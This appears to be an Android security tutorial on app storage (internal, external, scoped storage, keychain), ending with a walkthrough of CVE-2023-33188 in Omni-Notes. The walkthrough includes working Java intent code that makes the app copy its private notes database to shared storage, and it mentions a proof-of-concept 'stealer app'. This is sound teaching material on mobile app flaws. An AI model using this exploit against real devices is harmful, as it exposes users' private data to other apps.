We will look at how android applications store files and further have access to the file system of the device. We will focus mostly around the internal storage, external storage, and the keychain. Internal storage also contains things we are already familiar with like shared preferences, the cache files, and databases - some of the things discussed here will tie back to Content Providers, so keep that in mind as we continue.
Internal Storage#
When we talk about internal storage, we are usually referring to areas within the file system of the device that are exclusive to the application and are used to store private application data. (One example might be a messaging app storing your sent attachments.) Typically not even the user can access this on a non-rooted device.
When we talk about the private data of an application, this is typically in the /data/data/[APK_PATH]/
directory. This is where you’ll probably find other directories and files like cache
, files
, shared_prefs
, and so on. Of course, you need to use a rooted device to actually read these directories.
Luckily, we can use Objection to patch an APK, allowing us to still dump files from it and access the private internal storage of the applications.
The /cache
directory is often used to store temporary files that aren’t persistently needed. This directory might get automatically cleared by the system under certain circumstances. The application context provides helper functions like getCacheDir()
to resolve the path to the internal directory.
The ./files
directory of an application can be used to store whatever the developer wants, but this is sometimes used to store private application data that the application may not want the user to access. In your app you could use openFileOutput()
to create a file in the internal storage - by default in the /data/data/[APK_NAME]/files/
directory.
The shared preferences are essentially a key-value store - they often times store information like settings, API keys, passwords, and so on. Despite being called shared preferences, these are not shared across applications and they are unique to each application, but they are shared across processes and threads. These are stored in an XML file in the ./shared-prefs/
directory.
Internal databases typically use SQLite3 databases because android natively supports these. You can create one from your app by calling openOrCreateDatabase()
and you can execute SQL statements against it. This isn’t an SQL server, just a file in the file system of the application. You can easily browse these using sqlite3
, which is usually installed by default on the command line for android devices.
External Storage#
The way we talk about external storage has changed a lot since smart phones have been in the market. We used to mostly talk about external storage as SD cards, but most phones now have enough space on the internal drive or don’t allow for SD cards to be used to expand existing storage - this means that most of the time the external storage is a part of the internal drive of the device. Most applications still use this for storing larger files like photos and videos. In the past, android applications typically had wide access to external storage but that has changed in more recent years.
External storage is still used to contain private app directories and shared data and we can look at this in the /sdcard
directory of an android file system.
emu64x:/sdcard # ls -lah
total 104K
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-10-26 15:26 Alarms
drwxrws--x 5 media_rw media_rw 4.0K 2024-10-26 15:26 Android
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-10-26 15:26 Audiobooks
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-10-26 15:26 DCIM
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-12-23 20:42 Documents
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-12-23 20:58 Download
drwxrws--- 3 u0_a120 media_rw 4.0K 2024-10-26 15:26 Movies
drwxrws--- 3 u0_a120 media_rw 4.0K 2024-10-26 15:26 Music
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-10-26 15:26 Notifications
drwxrws--- 4 u0_a120 media_rw 4.0K 2024-11-04 22:02 Pictures
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-10-26 15:26 Podcasts
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-10-26 15:26 Recordings
drwxrws--- 2 u0_a120 media_rw 4.0K 2024-10-26 15:26 Ringtones
The only unclear directory here might be DCIM
which is for digital camera images, we also have the /Android
directory. This is not a real SD card as we know and we can observe this by looking at that directory:
emu64x:/ # ls -lah sdcard
lrw-r--r-- 1 root root 21 2023-12-16 17:01 sdcard -> /storage/self/primary
emu64x:/ # cd /storage
emu64x:/storage # ls self/primary/
Alarms Audiobooks Documents Movies Notifications Podcasts Ringtones
Android DCIM Download Music Pictures Recordings
emu64x:/storage # ls emulated/0
Alarms Audiobooks Documents Movies Notifications Podcasts Ringtones
Android DCIM Download Music Pictures Recordings
The /storage
directory in my case has the emulated
and self
directories. In a real device the /self
directory would be linked to /mnt/user/0/primary
, but in my case they are linked to /storage/emulated/0
because I am running off of an emulator.
When android was first released it would allow all access to the /sdcard
directory for applications. Then after Android 4.4 there were some write limitations. Android 5 added the Storage Access Framework, which we looked at while messing with content providers. Android 6 added additional runtime permissions and Android 10 added scoped storage. Android 11 essentially enforced the changes made to scoped storage from Android 10.
As you might expect, this means that vulnerabilities are very different between Android Versions. So when you think something might be exploitable, especially when related to reading sensitive files, try it on older versions of android that the target app still functions on.
Since Android 10, we saw the Android
directory, which contains the /data
and /obb
directories - obb
is used to store very large assets and data
is used to store the private directories for apps. On older versions of Android, most apps had the READ_EXTERNAL_STORAGE
permissions, which was problematic because apps could read each other’s information.
Scoped storage restricts each application to their own directory to prevent this privacy issue. If your target app runs android 10 or older, you might be able to bypass scoped storage protections.
Android 11 and up do enforce scoped storage, but the permission MANAGE_EXTERNAL_STORAGE
essentially lets an application bypass the scoped storage limitations. The purpose of this permission is for apps like antivirus and search tools to be able to look through all files within the external storage. Use of this is regulated in the play store and even if you side load an application, you will need to explicitly allow the application to read files with a runtime permission - where the user is presented with a dedicated warning screen.
The Keychain#
This isn’t so much of file storage in the same way we have talked about, in the keychain we can store cryptographic key materials such as private keys etc. The keychain is often protected by some hardware-backed security component within the device. The keychain is not used to store passwords themselves, it only stores keys - we can however use the keychain to interact with keys which have the ability to decrypt other pieces of data.
Omni-Notes Example#
We will be taking a close look at the process of exploiting CVE-2023-33188, which was a vulnerability discovered in the Omni-Notes Android app. The app’s purpose is to provide generic note-taking features, specifically for those who prefer to use older versions of Android. We will be using Android 10 to examine this vulnerability and try to extrapolate on how it may have been discovered. At the time of writing this post, Android 10’s last security update was February 2023, but the Google Play Services for this device have been updates as recently as December 2024.
Basic Functionality#
This app is, as we covered, used to take basic notes. We can use the knowledge we gained earlier to determine where this note might be on the Android file system:
Something to keep in mind is that Omni-Notes supports the functionality to receive notes and files from other applications. For example, we can share a picture from the gallery/camera roll to the Omni-Notes app and it will create a note:
If we take a look at where this image is stored, you can observe that it is in the storage
directory, in the external storage section:
We also know that some other applications with certain permissions might be able to access all the files on the external storage. So - if we send an intent with the correct type to the Omni-Notes app, while including a file path, Omni-Notes will try to attach it to our note. This might not make much sense now so let’s make an app that can perform this task for us.
You can use the provided skeleton-code that is given in the hextree.io course and add the following to the exploit()
method:
try {
Intent intent = new Intent();
intent.setAction(Intent.ACTION_SEND); //This is the common intent action used to share
intent.setType("image/*");
intent.putExtra(Intent.EXTRA_TEXT, "Malicious note");
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///storage/emulated/0/Android/data/it.feio.android.omninotes/files/20250109_110146_595.jpg"));
//We need to use extra_stream and we can just paste in the URL from the data base and our file name
intent.setClassName("it.feio.android.omninotes", "it.feio.android.omninotes.MainActivity");
//To make sure we don't need to select a receiver, we can just specify it manually
startActivity(intent);
} catch (Exception e){
Log.e("Exploit","Failed to send malicious Intent",e);
}
When we run the app and hit the button we will see that another note is created as we specified in the intent:
We can also observe that a copy of the previous image was created:
This basically means that just by sending an intent, we can get Omni-Notes to send any file that it has access to into the semi-public sdcard
directory. We can try to trick Omni-Notes into copying its entire database to the sdcard
. First we replace the path that goes to the image from earlier to the path of the database itself.
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///data/data/it.feio.android.omninotes/databases/omni-notes"));
Running the app at this point results in the entire database being copied to the sdcard
where other apps would be able to access it. You could even make a proof of concept stealer app that sends this intent then stores that stolen data it in its own app directory.